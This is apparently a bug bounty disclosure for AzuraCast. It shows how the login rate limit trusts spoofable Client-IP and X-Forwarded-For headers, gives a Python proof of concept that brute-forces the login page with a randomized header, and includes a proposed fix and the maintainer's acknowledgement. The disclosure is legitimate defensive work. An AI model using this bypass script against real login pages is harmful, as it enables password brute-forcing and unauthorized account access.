Broken Rate Limiting in azuracast/azuracast

Valid

Reported on

Apr 21st 2023


Description

The request rate limiting feature on the login page can be bypassed.

If we look at the code in src/Controller/Frontend/Account/LoginAction.php

$this->rateLimit->checkRequestRateLimit($request, 'login', 30, 5);

We see that checkRequestRateLimit() is invoked with a restriction of a maxmimum of 5 requests per 30 seconds.

Looking at some of the code from src/RateLimit.php

    public function checkRequestRateLimit(
        ServerRequest $request,
        string $groupName,
        int $interval = 5,
        int $limit = 2
    ): void {
        if ($this->environment->isTesting() || $this->environment->isCli()) {
            return;
        }

        $ipKey = str_replace([':', '.'], '_', $request->getIp());
        $this->checkRateLimit($groupName, $ipKey, $interval, $limit);
    }

and

    public function checkRateLimit(
        string $groupName,
        string $key,
        int $interval = 5,
        int $limit = 2
    ): void {
        $cacheStore = new CacheStorage($this->psr6Cache);

        $config = [
            'id' => 'ratelimit.' . $groupName,
            'policy' => 'sliding_window',
            'interval' => $interval . ' seconds',
            'limit' => $limit,
        ];

        $rateLimiterFactory = new RateLimiterFactory($config, $cacheStore, $this->lockFactory);
        $rateLimiter = $rateLimiterFactory->create($key);

        if (!$rateLimiter->consume()->isAccepted()) {
            throw new Exception\RateLimitExceededException();
        }
    }

We see that the create() function is called with a key value originating from the function $request->getIp() or ServerRequest::getIp()

    public function getIp(): string
    {
        $params = $this->serverRequest->getServerParams();

        $ip = $params['HTTP_CLIENT_IP']
            ?? $params['HTTP_X_FORWARDED_FOR']
            ?? $params['HTTP_X_FORWARDED']
            ?? $params['HTTP_FORWARDED_FOR']
            ?? $params['HTTP_FORWARDED']
            ?? $params['REMOTE_ADDR']
            ?? null;

        if (null === $ip) {
            throw new RuntimeException('No IP address attached to this request.');
        }

        // Handle the IP being separated by commas.
        $ipParts = explode(',', $ip);
        $ip = array_shift($ipParts);

        return trim($ip);
    }

Notice how this function first checks for a value inside non-default headers like Client-IP or X-Forwarded-For which can contain arbitrary contents. This allows an attacker to randomly generate a new value for any of these headers on each subsequent request to completely bypass the rate-limiting.

Proof of Concept

Run the following python script against an installation of AzuraCast and see how the second loop, which introduces a random Client-IP header on every request never hits the rate-limiting exception while the first one does after 5 tries (as expected):

#!/usr/bin/env python3

import requests

login_url = "http://localhost/login"
data = {"username":"root@localhost.local", "password": "xxx"}

for i in range(0,100):
    print(i)
    r = requests.post(login_url, data=data)
    if "You have attempted" in r.text:
        print(f"hit rate limiting after {i} tries")
        break

# now try with a randomized CLIENT_IP header

for i in range(0,100):
    print(i)
    headers = {"Client-Ip" : str(i)}
    print(headers)
    r = requests.post(login_url, data=data, headers=headers)
    if "You have attempted" in r.text:
                print(f"hit rate limiting after {i} tries")
                exit()


Fix

Either completely remove reliance on any header besides REMOTE_ADDR (since that is set to the actual IP address of the incoming request by PHP) or only trust the other non-standard headers IF and ONLY IF a setting is enabled that indicates a reverse proxy is being used, in that case you can trust the values passed in these headers.

Impact

An attacker might be able to bruteforce login data.

We are processing your report and will contact the azuracast team within 24 hours. a month ago
We have contacted a member of the azuracast team and are waiting to hear back a month ago
azuracast/azuracast maintainer has acknowledged this report a month ago
Buster Neece
a month ago

Maintainer


Thank you for your submission! Honestly, this was well-written, cites relevant sections in our code, and is indeed a completely valid issue to report.

There's a struggle with apps like ours that I'm sure you can gather from your research. We build self-hosted software, but we have to account for every possible hosting scenario "out of the box". That's why we went with this route, as it would then allow users to be sitting behind Cloudflare or their own reverse proxies with no additional work in setting up the app. That would mean fewer people clogging up our support lines and saying things are broken, when really it's just down to how they set it up.

Your suggestion to make it a simple "Are you using anything in front of this web server, yes/no" thing is probably a good compromise in my opinion. Maybe we could even expand that setting to be "No/Yes (Cloudflare)/Yes (Other)" to ensure an even larger cross-section of people would have a reasonably secure experience while allowing exceptions.

I marked this as "seen" because I'm giving some thought into the most elegant and user-friendly way of confronting this issue in our UI/UX.

TsarSec
a month ago

Researcher


Thank you for the quick response! I absolutely understand where you're coming from. At the end of the day, we're trying to make software more secure.

From my humble 'security researcher' perspective the big problem here is that by-default (meaning a default installation, through docker for example) these headers are treated as trusted, while they shouldn't be.

I understand that this can easily lead to other issues with slightly non-default installations, like people using cloudflare or running some other kind of reverse proxy which takes care of 'sanitizing' these headers

Thats exactly the idea behind my suggestion: make sure all of these headers are treated as untrusted by default, until the administrator explicitly changes a setting that marks these headers as trusted.

Practically my suggestion would be to introduce a simple 'toggle' yes/no option during the installation process that asks if the instance is going to be run behind any kind of reverse proxy.

Buster Neece validated this vulnerability a month ago
TsarSec has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Buster Neece marked this as fixed in 0.18.3 with commit bdb235 a month ago
Buster Neece has been awarded the fix bounty
This vulnerability has been assigned a CVE
This vulnerability is scheduled to go public on May 5th 2023
ServerRequest.php#L129 has been validated
Buster Neece gave praise a month ago
Excellent vulnerability report. Outlined the specific sections of our code that were affected, and proposed a specific solution to the issue. A model for the kind of reports we'd like to see a lot more of in the future.
The researcher's credibility has slightly increased as a result of the maintainer's thanks: +1
Buster Neece published this vulnerability 21 days ago
to join this conversation